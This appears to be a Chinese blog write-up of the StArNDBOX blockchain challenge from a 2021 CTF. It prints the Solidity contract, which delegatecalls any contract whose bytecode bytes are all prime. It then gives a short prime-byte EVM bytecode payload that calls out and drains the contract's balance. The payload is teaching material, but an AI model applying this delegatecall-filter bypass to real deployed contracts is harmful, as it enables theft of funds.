Fork me on GitHub
pikachu's Blog

🌟ctf 2021 区块链 StArNDBOX

前言

  • 🌟🌟🌟🌟🌟🌟战队组织的比赛,其中有一道区块链题目,就花了会时间看看

Source

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
pragma solidity ^0.5.11;

library Math {
function invMod(int256 _x, int256 _pp) internal pure returns (int) {
int u3 = _x;
int v3 = _pp;
int u1 = 1;
int v1 = 0;
int q = 0;
while (v3 > 0){
q = u3/v3;
u1= v1;
v1 = u1 - v1*q;
u3 = v3;
v3 = u3 - v3*q;
}
while (u1<0){
u1 += _pp;
}
return u1;
}

function expMod(int base, int pow,int mod) internal pure returns (int res){
res = 1;
if(mod > 0){
base = base % mod;
for (; pow != 0; pow >>= 1) {
if (pow & 1 == 1) {
res = (base * res) % mod;
}
base = (base * base) % mod;
}
}
return res;
}
function pow_mod(int base, int pow, int mod) internal pure returns (int res) {
if (pow >= 0) {
return expMod(base,pow,mod);
}
else {
int inv = invMod(base,mod);
return expMod(inv,abs(pow),mod);
}
}

function isPrime(int n) internal pure returns (bool) {
if (n == 2 ||n == 3 || n == 5) {
return true;
} else if (n % 2 ==0 && n > 1 ){
return false;
} else {
int d = n - 1;
int s = 0;
while (d & 1 != 1 && d != 0) {
d >>= 1;
++s;
}
int a=2;
int xPre;
int j;
int x = pow_mod(a, d, n);
if (x == 1 || x == (n - 1)) {
return true;
} else {
for (j = 0; j < s; ++j) {
xPre = x;
x = pow_mod(x, 2, n);
if (x == n-1){
return true;
}else if(x == 1){
return false;
}
}
}
return false;
}
}

function gcd(int a, int b) internal pure returns (int) {
int t = 0;
if (a < b) {
t = a;
a = b;
b = t;
}
while (b != 0) {
t = b;
b = a % b;
a = t;
}
return a;
}
function abs(int num) internal pure returns (int) {
if (num >= 0) {
return num;
} else {
return (0 - num);
}
}

}

contract StArNDBOX{
using Math for int;
constructor()public payable{
}
modifier StAr() {
require(msg.sender != tx.origin);
_;
}
function StArNDBoX(address _addr) public payable{

uint256 size;
bytes memory code;
int res;

assembly{
size := extcodesize(_addr)
code := mload(0x40)
mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
mstore(code, size)
extcodecopy(_addr, add(code, 0x20), 0, size)
}
for(uint256 i = 0; i < code.length; i++) {
res = int(uint8(code[i]));
require(res.isPrime() == true);
}
bool success;
bytes memory _;
(success, _) = _addr.delegatecall("");
require(success);
}
}
  • 沙箱游戏,目的是清空合约余额,bytecode 每一个字节必须全为质数,比较简单,直接按照下图部署 call 的参数,然后使 value 为 0x64 即可

  • 需要注意的是,push 的时候遇到不是质数的情况,通过加减或者使用 0x61 è¡¥ 0 即可,部署一个下面的 bytecode 即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x6100016100016100016100016100016100650361000161fbfbf1

/*
PUSH2 0x0001
PUSH2 0x0001
PUSH2 0x0001
PUSH2 0x0001
PUSH2 0x0001
PUSH2 0x0065
SUB
PUSH2 0x0001
PUSH2 0xfbfb
CALL
*/
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2021/6-ctf2021/
Contact:hitcxy@hotmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!